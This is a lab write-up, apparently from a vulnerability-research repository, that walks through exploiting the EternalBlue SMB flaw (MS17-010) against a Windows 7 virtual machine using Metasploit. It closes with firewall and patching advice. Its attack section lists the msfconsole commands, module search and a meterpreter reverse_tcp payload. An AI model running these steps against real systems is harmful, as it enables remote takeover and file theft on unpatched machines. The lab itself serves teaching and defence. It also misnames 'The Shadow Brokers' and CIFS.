LAB: ATTACK ON WINDOWS OPERATING SYSTEM BASED ON SMB PROTOCOL VULNERABILITY.
I. DESCRIPTION
In this lab, we will use two computers to simulate an attack based on a vulnerability in the SMB protocol of the Windows operating system. One machine runs Kali Linux, acting as the attacker (hacker). And another computer acts as the victim machine. The victim machine runs Windows 7 64-bit operating system which contains the SMB vulnerability. To do this, on the Kali Linux machine, we will use an exploit code named EternalBlue to attack the Windows 7 machine.
II. GENERAL INTRODUCTION
Server Message Block (SMB) is a fairly popular file sharing protocol on Microsoft's Windows platform. Thanks to this SMB protocol, Windows computers connected to each other within the same network layer or within the same Domain can share files with each other. To date, SMB is also known as Common Internet File Sharing (CIFS).
EternalBlue is an exploitation code, based on the vulnerability of the SMB protocol through port 445. Initially, EternalBlue was developed by the U.S. National Security Agency (NSA). But later, it was leaked by the hacker group The Shadow Brokens in 2017. Also in that same year. A large-scale attack of ransomware – Ransomware, targeting Microsoft Windows computers, occurred worldwide. Among them, the most famous is still the WannaCry virus. To date, although this vulnerability has been patched by Microsoft with the MS17-010 security update. However, in the world, a large number of computers running Windows operating systems still have this vulnerability. This vulnerability is published in CVE-2017-0144. (Windows SMB Remote Code Execution Vulnerability). This vulnerability is extremely dangerous and very easy to exploit. The noteworthy thing is that to attack through this SMB protocol vulnerability, the hacker does not need to send or trick the victim into downloading or running any harmful virus. That is, even if the victim does nothing, they can still be easily attacked and taken control of their computer without knowing it.
III. PREPARATION
Prepare 02 virtual machines running on VMware Workstation software. The Kali Linux virtual machine (hacker machine) has IP address: 192.168.198.140 and the Windows 7 virtual machine (victim machine) has IP address: 192.168.198.143
1.On the Kali virtual machine (attack):
-Check ip: ifconfig
-Proceed to start the Postgresql service: # service postgresql start
-Check if postgresql is running using the command: # service postgresql status
2.On the Windows 7 virtual machine (victim):
Check ip: ipconfig
Turn off the Firewall.
IV. EXECUTING THE ATTACK.
On Kali machine: Log into Metasploit with the command: # msfconsole
After entering Metasploit, we search for exploits as well as syntax related to ms17_010 with the command: # search ms17_010
Add IP address of victim machine, attack machine
Set up payload to exploit:
use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
Run exploit to proceed with exploitation
-Open shell on victim machine (executed via attack machine terminal) after having infiltrated:
=>At this point, the hacker has successfully infiltrated the victim machine. At this time, the hacker can delete, steal files from the victim machine without them knowing. Even the hacker can upload and run viruses directly on it.
V. PREVENTION METHODS.
– To avoid being exploited and taken advantage of via the SMB protocol. We need to perform the following tasks:
Activate the Firewall.
Update Windows to the latest version. Or download and install Microsoft security patches. Especially the ms17_010 security patch.
ducanh2oo3/vulnerability-research-cve-2017-0144
